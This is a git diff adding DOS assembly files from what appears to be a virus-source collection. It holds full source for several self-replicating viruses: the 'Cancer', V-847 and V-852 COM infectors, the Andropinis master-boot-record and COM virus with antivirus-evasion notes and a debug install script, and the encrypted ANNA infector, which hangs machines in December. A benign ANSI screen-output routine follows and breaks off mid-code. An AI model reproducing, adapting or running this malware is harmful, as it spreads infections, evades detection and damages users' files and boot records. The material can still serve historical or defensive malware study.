;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/a/AMST-740.ASM b/a/AMST-740.ASM new file mode 100755 index 0000000..1168680 --- /dev/null +++ b/a/AMST-740.ASM @@ -0,0 +1,128 @@ + page ,132 + name CANCER + title Cancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start + \ No newline at end of file diff --git a/a/AMST-847.ASM b/a/AMST-847.ASM new file mode 100755 index 0000000..b9c4899 --- /dev/null +++ b/a/AMST-847.ASM @@ -0,0 +1,150 @@ + page ,132 + name V847 + title The V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start +newid = offset ident + virlenx + 100 + +start: + jmp virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng dw 44F ;Unused +progbeg dd 10000h +eof dw ? +handle dw ? + +virus: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + db 3E ;Force DS: prefix + cmp [newid],'VI' ;Infected? + je close ;Go find next file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + dw 0 ;Unused + +code ends + end start + \ No newline at end of file diff --git a/a/AMST-852.ASM b/a/AMST-852.ASM new file mode 100755 index 0000000..1f919a0 --- /dev/null +++ b/a/AMST-852.ASM @@ -0,0 +1,155 @@ + page ,132 + name V852 + title The V-852 virus, based on the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start +newid = offset ident + virlenx + 100 + +start: + jmp virus + +ident dw 'SS' +counter db 0 +allcom db '*.COM',0 +vleng dw 44F ;Unused +progbeg dd 10000h +eof dw ? +handle dw ? + +virus: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + db 3E ;Force DS: prefix + cmp ds:[newid],'SS' ;Infected? + je close ;Go find next file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 0A, 0Dh, 7 + db ' ! ' + db ' !' + db 0A, 0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + jmp short quit ; The original program + + db 2 dup (90) ; Filler + +quit: + mov ax,4C00 ; Just exit with ErrorLevel 0 + int 21 + +code ends + end start + \ No newline at end of file diff --git a/a/ANDROPIN.ASM b/a/ANDROPIN.ASM new file mode 100755 index 0000000..19b1b22 --- /dev/null +++ b/a/ANDROPIN.ASM @@ -0,0 +1,408 @@ +;****************************************************************************** +; +; Virus name : Andropinis +; Author : Rajaat +; Origin : United Kingdom, March 1995 +; Compiling : Using TASM | Using A86 +; | +; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM +; TLINK ANDROPIN | +; EXE2BIN ANDROPIN | +; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2 +; Modify the partition record to point to this code +; (a debug script is provided at the end of this source) +; Targets : Master Boot Record & COM files +; Size : 512 bytes +; Polymorphic : No +; Encrypted : No +; Stealth : Full Stealth on Master Boot Record +; Tunneling : No - is not needed if started from Master boot record +; Retrovirus : No +; Antiheuristics: Yes - for TBAV +; Peculiarities : Infects MBR by modifying 2 bytes +; Uses SFT's to infect COM files +; Avoids Thunderbyte Antivirus using a 2 byte signature! +; Behaviour : When an infected COM file is run, the virus will not become +; resident, but will first infect the master boot record. It +; does its work in a very peculiar way. It modifies the +; 1st partition record with the result that it points to +; cylinder 0, head 0, sector 2. The viral bootsector will be +; stored there. The next time when a system is booted, +; Andropinis will become resident in high memory, but below +; the top of memory. Programs like CHKDSK.EXE will show a +; decrease in system memory of 1024 bytes. The virus will hook +; interrupt 13 at this time and wait till interrupt 21 is +; captured 3 times. Andropinis will then take interrupt 21 +; itself. The virus is now stealth on the master boot record, +; only modifying the pointer to the bootsector in memory when +; the master boot record is read. The virus will infect COM +; files when copied, therefore not needing a critical interrupt +; handler. Andropinis will only infect COM files when they are +; between 4095 and 61441 bytes. Infected files will begin with +; a PUSH AX, DEC BX, NOP and a near jump to the virus code. +; The first 2 instructions will cause the Thunderbyte scanner +; to avoid the file. It thinks it's processed with PkLite! f +; Even the "ex"tract option doesn't work and gives back a "N/A" +; for every infected file. F-PROT detects nothing, except when +; the /ANALYSE option is used. AVP gives a virus "Type Boot" +; suspicion. How true that is. The weak point of the virus is +; its lack of protection in infected COM files, so it relies on +; the fact that the Master Boot Record infection isn't visible. +; Tai-Pan spread also far, and was even more simplistic than +; Andropinis, with the exception that is infected the more +; common filetype, the EXE file. The virus doesn't do any +; intended harm, as Patty would say : +; "It's unknown what this virus does besides replicate." +; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE], +; and all other virus writers that exist. +; +;****************************************************************************** + +.model tiny ; this must become a BIN file + +.code ; let's start with the code, ok + +.radix 16 ; safe hex + + org 0 ; throw it in the bin + +;****************************************************************************** +; Viral boot sector +;****************************************************************************** + +virus: xor bx,bx ; initialise stack and data + cli ; segment + mov ss,bx ; + mov ds,bx ; + mov sp,7c00 ; + push sp ; + sti ; + + mov si,413 ; steal some memory from the + dec word ptr [si] ; top + lodsw ; + + mov cl,6 ; calculate free segment for + shl ax,cl ; virus + mov es,ax ; + + pop si + mov di,bx ; push data for a far jump to + push di ; the virus code in high memory + push es ; + lea ax,init_resident ; + push ax ; + + mov cx,100 ; move the code to high memory +move_boot: movsw ; this doesn't trigger tbav + loop move_boot ; + + retf ; return to the address pushed + +;****************************************************************************** +; the following piece of code is executed in high memory +;****************************************************************************** + +init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag + + lea di,old_13 ; store old int 13 vector and + mov si,4*13 ; replace it with our new + lea ax,new_13 ; handler + xchg ax,[si] ; + stosw ; + mov ax,cs ; + xchg ax,[si+2] ; + stosw ; + + mov si,4*21 ; store new address to int 21 + lea ax,new_21 ; vector + xchg ax,[si] ; + mov ax,cs ; + xchg ax,[si+2] ; + + pop es ; read the original bootsector + push es ; and execute it + mov ax,0201 ; + mov dx,180 ; + mov cx,1 ; + mov bx,7c00 ; + push bx ; + int 13h ; + retf ; + +;****************************************************************************** +; new int 13 handler +;****************************************************************************** + +new_13: cmp ax,5001 ; installation check + jne no_inst_check ; + xchg ah,al ; + iret + +no_inst_check: cmp ah,2 ; check if partition sector + jne no_stealth ; is read. if not, there's + cmp dx,80 ; no need to use stealth + jne no_stealth ; + cmp cx,1 ; + jne no_stealth ; + + pushf ; perform read action, and + call dword ptr cs:[old_13] ; go to stealth_mbr if no error + jnc stealth_mbr ; occured + retf 2 ; + +stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active? + jne not_infected ; no, goto not_infected + mov word ptr es:1bf[bx],0101 ; stealth virus +not_infected: iret ; + +no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int + je eoi_13 ; 21, get lost to eoi_13 + + push ax ; preserve these + push ds ; + + xor ax,ax ; is int 21 changed? + mov ds,ax ; + mov ax,cs ; + cmp ax,word ptr ds:[4*21+2] ; + je int_21_ok ; no, int 21 is ok + + inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag + + lea ax,new_21 ; capture int 21 and store + xchg ax,ds:[4*21] ; the old vector + mov word ptr cs:old_21,ax ; + mov ax,cs ; + xchg ax,ds:[4*21+2] ; + mov word ptr cs:old_21[2],ax ; + +int_21_ok: pop ds ; get these back + pop ax ; + +eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13 + +;****************************************************************************** +; new int 21 handler +;****************************************************************************** + +new_21: cmp ah,40 ; is a write command performed? + je write_to_file ; yeah, write_to_file + +eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21 + +write_to_file: push ax ; preserve some registers + push bx ; + push dx ; + push di ; + push es ; + + mov ax,4400 ; check if the write belongs + int 21 ; to a device + test dl,80 ; + jnz not_suitable ; + + mov ax,1220 ; find file handle table that + int 2f ; belongs to the handle in bx + mov bl,byte ptr es:[di] ; + mov ax,1216 ; + int 2f ; + + mov bx,2020 ; check if the file has a com + mov ax,word ptr es:[di+28] ; extension + or ax,bx ; + cmp ax,'oc' ; + jne not_suitable ; + mov al,byte ptr es:[di+2a] ; + or al,bl ; + cmp al,'m' ; + jne not_suitable ; + + cmp word ptr es:[di+11],0 ; check if file length is + jne not_suitable ; zero + + cmp cx,1000 ; check if piece of code is + jb not_suitable ; not too short or too long + cmp cx,0f000 ; + ja not_suitable ; + + pop es ; these registers are done + pop di ; + pop dx ; + + mov bx,dx ; check if the file is a + cmp word ptr ds:[bx],'ZM' ; renamed exe file + je is_renamed_exe ; + + cmp word ptr ds:[bx+2],0e990 ; check if already infected + jne infect_com ; + jmp is_renamed_exe + +not_suitable: pop es ; done with this interrupt + pop di ; service routine, so chain + pop dx ; to the old 21 routine +is_renamed_exe: pop bx ; + pop ax ; + jmp eoi_21 ; + +;****************************************************************************** +; piece of code that infects a COM file +;****************************************************************************** + +infect_com: pop bx ; this register was done + + push cx ; get the first 6 bytes of the + push si ; host and overwrite them with + add cx,offset com_entry-6 ; the new bytes. it places a + mov si,dx ; nifty piece of code to + mov ax,'KP' ; render tbscans heuristics + xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX + mov word ptr cs:org_com,ax ; (PK) in the begin of the + lodsw ; program makes tbscan think + mov ax,0e990 ; it is a PkLite compressed + xchg word ptr ds:[si],ax ; file and will skip it! + mov word ptr cs:org_com+2,ax ; + lodsw ; + xchg word ptr ds:[si],cx ; + mov word ptr cs:org_com+4,cx ; + pop si ; + pop cx ; + + pop ax ; perform original write + pushf ; command + call dword ptr cs:[old_21] ; + + push ax ; and append the virus at the + push cx ; end of the file + push dx ; + push ds ; + push cs ; + pop ds ; + mov ah,40 ; + mov cx,virus_length_b ; + lea dx,virus ; + pushf ; + call dword ptr cs:[old_21] ; + pop ds ; + pop dx ; + pop cx ; + pop ax ; + retf 2 ; + +;****************************************************************************** +; this gets executed by an infected COM file +;****************************************************************************** + +com_entry: call get_offset ; old hat for getting the +get_offset: pop bp ; delta offset + sub bp,offset get_offset ; + + mov ax,5001 ; if the virus is resident it + int 13 ; doesn't need to infect the + cmp ax,0150 ; master boot record + je is_active ; + + mov ax,0201 ; read master boot record. + lea bx,heap[bp] ; if an error occured, goto + mov cx,1 ; is_active + mov dx,80 ; + int 13 ; + jc is_active ; + + cmp word ptr [bx+1be+1],0101 ; test if the partition begins + jne is_active ; at the normal sector + + test byte ptr [bx+1be],80 ; test of the partition is + jz is_active ; bootable + + mov al,byte ptr [bx+1be+4] ; test if the partition type + cmp al,4 ; is ok + jb is_active ; + cmp al,6 ; + ja is_active ; + + mov word ptr [bx+1be+1],200 ; change pointer to virus code + + mov ax,0301 ; write back the master boot + push ax ; record. quit if error + int 13 ; occured + pop ax ; + jc is_active ; + + inc cx ; write virus to sector 2 + lea bx,virus[bp] ; (right behind the mbr) + int 13 ; + +is_active: lea si,org_com[bp] ; restore beginning of the + mov di,100 ; host and execute it + pop ax ; + push cs ; + push di ; + movsw ; + movsw ; + movsw ; + retf ; + +;****************************************************************************** +; some data used by the virus +;****************************************************************************** + + db '[Andropinis]' ; my childs name + db ' by Rajaat',0 ; my name + + org 1fe ; for the bootsector + + db 55,0aa ; boot signature + +;****************************************************************************** +; the things below aren't copied into the viral boot sector, only in COM files +;****************************************************************************** + +org_com equ $ ; original program data + +heap equ $+6 ; memory for data + +virus_length_b equ heap-virus ; who says size doesn't count? +virus_length_s equ (virus_length_b+1ff) / 200 ; +virus_length_k equ (virus_length_b+3ff) / 400 ; + +old_13 equ heap+6 ; old int 13 vector +old_21 equ heap+0a ; old int 21 vector +hook_21_flag equ heap+0e ; int 21 hook flag + +end virus ; the end complete +end ; +;****************************************************************************** + +; remove the piece below if you use A86 instead of TASM, because it will +; choke on it + + --- debug script for installing the Andropinis virus --- + +install with +DEBUG ANDROPIN.BIN < scriptname +where scriptname is the name that you give to the mess below + + --- cut here --- +m 100 l200 1000 +a +mov ax,0201 +mov bx,800 +mov cx,1 +mov dx,80 +int 13 +mov si,9bf +mov word ptr [si],200 +mov ax,0301 +mov dx,80 +int 13 +mov ax,0301 +mov bx,1000 +inc cx +int 13 +int 20 + +g +q + --- cut here --- + diff --git a/a/ANNA.ASM b/a/ANNA.ASM new file mode 100755 index 0000000..d0e89de --- /dev/null +++ b/a/ANNA.ASM @@ -0,0 +1,266 @@ + + Name ANNA + Page 55,132 + Title ???? + +len equ offset marker+5-offset main2 +level1len equ offset level1-offset main3 +level2len equ offset level2-offset main3 + +code segment + + assume cs:code,ds:code,es:code + + org 0100h + +main: xor si,si + call level2 + call level1 + jmp main2 + dd 0h + +main2: call nextline +nextline: pop ax + sub ax,offset nextline + xchg si,ax + call level1 + call level2 +main3: mov ax,word ptr ds:[oldstart+si] + mov cx,word ptr ds:[oldstart+si+2] + mov ds:[0100h],ax + mov ds:[0102h],cx + +getdate: mov ah,2ah + int 21h + jnc notexit + +lexit: jmp exit + +notexit: cmp dh,0ch + jne getdir + + jmp activ8 + +getdir: mov ah,47h + mov dl,00h + push si + lea bx,(curdir+si) + mov si,bx + int 21h + jc lexit + + pop si + mov byte ptr ds:[flag+si],00h + +setdta: mov ah,1ah + lea dx,(buff+si) + int 21h + +findfile: mov ah,4eh + mov cx,00h + lea dx,(search1+si) + int 21h + jnc openup + + cmp al,12h + jne lexit + jmp next_dir + + +openup: mov ah,3dh + mov al,02h + lea dx,(buff+1eh+si) + int 21h + jc lexit + mov ds:[handle+si],ax + +movepoint: mov ax,4202h + mov bx,ds:[handle+si] + mov cx,0ffffh + mov dx,0fffbh + int 21h + jc lclose + jmp checkmark + +lclose: jmp close + +checkmark: mov ah,3fh + mov bx,ds:[handle+si] + mov cx,05h + lea dx,(check+si) + int 21h + jc lclose + lea di,(marker+si) + lea ax,(check+si) + xchg si,ax + mov cx,05h +compare: cmpsb + jnz infect + loop compare + xchg si,ax + jmp next_file + + +infect: xchg si,ax + mov ax,4200h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + jc lclose + mov ah,3fh + mov bx,ds:[handle+si] + lea dx,(oldstart+si) + mov cx,4 + int 21h + jc lclose + mov ax,4202h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + jc lclose + sub ax,3h + mov word ptr ds:[jump+1+si],ax + call save + mov ax,4200h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + mov bx,ds:[handle+si] + mov cx,3 + lea dx,(jump+si) + int 21h + mov ah,3bh + lea dx,(bkslash+si) + int 21h + + + jmp close + +next_dir: cmp ds:[dir_count],20 + je exit + mov ah,1ah + lea dx,(buff2+si) + int 21h + mov ah,3bh + lea dx,(bslsh+si) + int 21h + cmp byte ptr ds:[flag+si],00h + jne nextdir2 + mov byte ptr ds:[flag+si],0ffh + mov ah,4eh + lea dx,(search2+si) + xor cx,cx + mov bx,cx + mov cl,10h + int 21h + jc exit + jmp chdir + +nextdir2: mov ah,4fh + int 21h + jc exit + + inc ds:[dir_count+si] + +chdir: mov ah,3bh + lea dx,(buff2+1eh+si) + int 21h + jmp setdta + +activ8: mov ah,09h + lea dx,(msg+si) + int 21h +crash: jmp crash + + +close: mov ah,3eh + mov bx,ds:[handle+si] + int 21h + +runold: mov ax,0100h + jmp ax + +next_file: mov ah,3eh + mov bx,ds:[handle+si] + int 21h + + mov ah,4fh + int 21h + jc next_dir + + jmp openup + +exit: mov ah,3bh + lea dx,(curdir+si) + int 21h + jmp runold + +info db '[ANNA]',00h + db 'Slartibartfast, ARCV NuKE the French',00h + + +msg db 0dh,0ah,07h,0dh + db ' Have a Cool Yule from the ARcV',0dh,0ah + db ' xCept Anna Jones',0dh,0ah + db 'I hope you get run over by a Reindeer',0dh,0ah + db ' Santas bringin',39,' you a Bomb',0dh,0ah + db ' All my Lurve - SLarTiBarTfAsT',0dh,0ah + db '(c) ARcV 1992 - England Raining Again',0dh,0ah + db '$' + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,0,0 +flag db 00h +bslsh db '\',00h +search2 db '*. ',00h +search1 db '*.com',00h + +level2: lea di,(main3+si) + mov cx,level2len +enc2: mov al,byte ptr ds:[di] + rol al,4 + stosb + loop enc2 + ret + +level1: lea di,(main3+si) + mov cx,level1len +inc1: xor byte ptr ds:[di],01h +key: inc di + loop inc1 + ret + +save: inc byte ptr ds:[key-1+si] + call level2 + call level1 + mov ah,40h + mov bx,ds:[handle+si] + mov cx,len + lea dx,(main2+si) + int 21h + call level1 + call level2 + ret + + +marker db 'ImIr8' + +bkslash db '\' +curdir db 64 dup (0) +handle dw 0h +buff db 60h dup (0) +buff2 db 60h dup (0) +check db 5 dup (?) +dir_count dw 0h + + + +code ends + +end main \ No newline at end of file diff --git a/a/ANSI.ASM b/a/ANSI.ASM new file mode 100755 index 0000000..3a1c213 --- /dev/null +++ b/a/ANSI.ASM @@ -0,0 +1,431 @@ +; this is ripped off from pd code in RBBS-ASM (was ANSI1-7.ASM) +; has been heavily modified by M. Kimes, who isn't much of an +; asm-programmer. Now works with C in a strange way and supports +; configurable window. It's momma wouldn't know it now (and probably +; would claim it's the type of program she warned it about). +; I reckon it was public domain before, and still is. +; +; int far pascal ansi (char far *str); +; void far pascal setcoords (int topx,int topy,int botx,int boty); +; void far pascal getcoords (int far *topx,int far *topy,int far *botx,int far *boty); +; void far pascal setfastansi (int fast); +; + +.model large + +ANSI_PRNT SEGMENT PUBLIC 'CODE' + ASSUME CS:ANSI_PRNT + PUBLIC ANSI,SETCOORDS,GETCOORDS,SETFASTANSI,GETFASTANSI + PUBLIC _atop,_atopy,_atopx,_abot,_aboty,_abotx,_fastansiout + +VID_PAGE DB 0 ;Active video page +_atop LABEL WORD +_atopy DB 0 ;top y coord +_atopx DB 0 ;top x coord +_abot LABEL WORD +_aboty DB 17h ;bottom y coord +_abotx DB 4Fh ;bottom x coord +_fastansiout DB 1 ;fast ansi writes? + + +GETCOORDS PROC FAR ;void pascal far getcoords(int *topx,int *topy, + ; int *botx,int *boty); + +; get window coordinates (0 based) + + PUSH BP + MOV BP,SP + PUSH DS + MOV AH,0 + MOV AL,_atopx + MOV BX,[BP]+18 + MOV DS,[BP]+20 + MOV [BX],AX + MOV AL,_atopy + MOV DS,[BP]+16 + MOV BX,[BP]+14 + MOV [BX],AX + MOV AL,_abotx + MOV DS,[BP]+12 + MOV BX,[BP]+10 + MOV [BX],AX + MOV AL,_aboty + MOV DS,[BP]+8 + MOV BX,[BP]+6 + MOV [BX],AX + POP DS + POP BP + RET 16 + +GETCOORDS ENDP + +SETCOORDS PROC FAR ;void pascal far setcoords(int topx,int topy, + ; int botx,int boty); + +; set window coordinates (0 based) + + PUSH BP + MOV BP,SP + MOV AH,[BP]+12 + MOV _atopx,AH + MOV AH,[BP]+10 + MOV _atopy,AH + MOV AH,[BP]+8 + MOV _abotx,AH + MOV AH,[BP]+6 + MOV _aboty,AH + POP BP + RET 8 + +SETCOORDS ENDP + + + +SETFASTANSI PROC FAR ;void pascal far setfastansi(int fast); + +; set fast ansi (0 = off, ffh = BIOS) + + PUSH BP + MOV BP,SP + MOV AH,[BP]+6 + MOV _fastansiout,AH + POP BP + RET 2 + +SETFASTANSI ENDP + + + +GETFASTANSI PROC FAR ;int pascal far getfastansi(void); + +; get fast ansi setting (0 = off) + + XOR AX,AX + MOV AH,_fastansiout + RET + +GETFASTANSI ENDP + + + +ANSI PROC FAR ;int pascal far ansi(char far *str); + +; display a string through DOS' ANSI driver, respecting a window + + PUSH BP ;set up stack frame + MOV BP,SP + + PUSH DS ;save ds + + MOV AH,15 ;get current video state + INT 10H + MOV VID_PAGE,BH ;save it + + MOV BX,[BP]+6 ;get string address + MOV DS,[BP]+8 ;set ds + PUSH BX ;save original address + MOV CX,BX + XOR AX,AX + +ALOOP: + CALL DOCHECKPOS + MOV AL,[BX] ;set al to char to print + CMP AL,10 ;\n? + JNZ CHKCR ;no + MOV DX,AX + MOV AH,2 + INT 21H ;display it + CALL DOCHECKPOS + MOV AL,13 ;and do cr + JMP NOEXIT1 +CHKCR: + CMP AL,13 ;\r? + JNZ CHKANSI ;no + MOV DX,AX + MOV AH,2 + INT 21H ;display it + CALL DOCHECKPOS + MOV AL,10 ;and do lf + JMP NOEXIT1 +CHKANSI: + CMP AL,27 ;escape? + JNZ GOON ;no, skip all this... + CMP BYTE PTR [BX]+1,'[' ; check for various ansi + JNZ GOON ; commands that would screw + CMP BYTE PTR [BX]+2,'2' ; up our window + JNZ GOON1 ; \x1b[2J + CMP BYTE PTR [BX]+3,'J' + JNZ GOON2 + ADD BX,4 + CALL CLEARSCRN + JMP SHORT ALOOP +GOON1: + CMP BYTE PTR [BX]+2,'K' ; \x1b[K + JNZ GOON3 + ADD BX,3 + CALL CLEARLINE + JMP SHORT ALOOP +GOON3: + CMP BYTE PTR [BX]+2,'k' ;\x1b[k + JNZ GOON + ADD BX,3 + CALL CLEAREOL + JMP SHORT ALOOP +GOON2: + CMP BYTE PTR [BX]+3,'j' ;\x1b[2j + JNZ GOON + ADD BX,4 + CALL CLEAREOS + JMP ALOOP +GOON: + CMP AL,0 ;End of string? + JNZ NOEXIT1 + JMP SHORT EXIT1 +NOEXIT1: + CMP _fastansiout,0 ;fast ansi writes? + JZ BIOSWRITES ;nope + INT 29H + JMP SHORT SKIPSLOW +BIOSWRITES: + CMP _fastansiout,255 ;bios writes? + JZ SLOWWRITES ;nope + PUSH BX + PUSH CX + MOV BH,VID_PAGE + INT 10H + POP CX + POP BX + JMP SHORT SKIPSLOW +SLOWWRITES: + MOV DX,AX + MOV AH,2 + INT 21H ;display it +SKIPSLOW: + INC BX + CMP BYTE PTR [BX],0 ;end of string? + JZ EXIT1 ;yep + CMP BX,CX ;string too long? + JZ EXIT1 ;yep, it wrapped; avoid crash + JMP ALOOP ;nope +EXIT1: ;wrap it up... + CALL DOCHECKPOS + POP AX ;retrieve old start pos + SUB BX,AX ;subtract from current pos + MOV AX,BX ;return length of string printed + + POP DS + POP BP + RET 4 + +ANSI ENDP + + + +DOCHECKPOS: ;check cursor pos, protect window + PUSH AX ;Save the registers that will be affected + PUSH BX + PUSH CX + PUSH DX + CALL WHERE_ARE_WE ; where the cursor is....... +CHECKTOPX: + CMP DL,_atopx + JGE CHECKBOTX + MOV AH,2 + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + JMP SHORT CHECKTOPY +CHECKBOTX: + CMP DL,_abotx + JLE CHECKTOPY + MOV DL,_atopx + INC DH + MOV AH,2 + MOV BH,VID_PAGE + INT 10H +CHECKTOPY: + CMP DH,_atopy + JGE CHECKBOTY + MOV AH,2 + MOV DH,_atopy + MOV BH,VID_PAGE + INT 10H + JMP SHORT OUTTAHERE 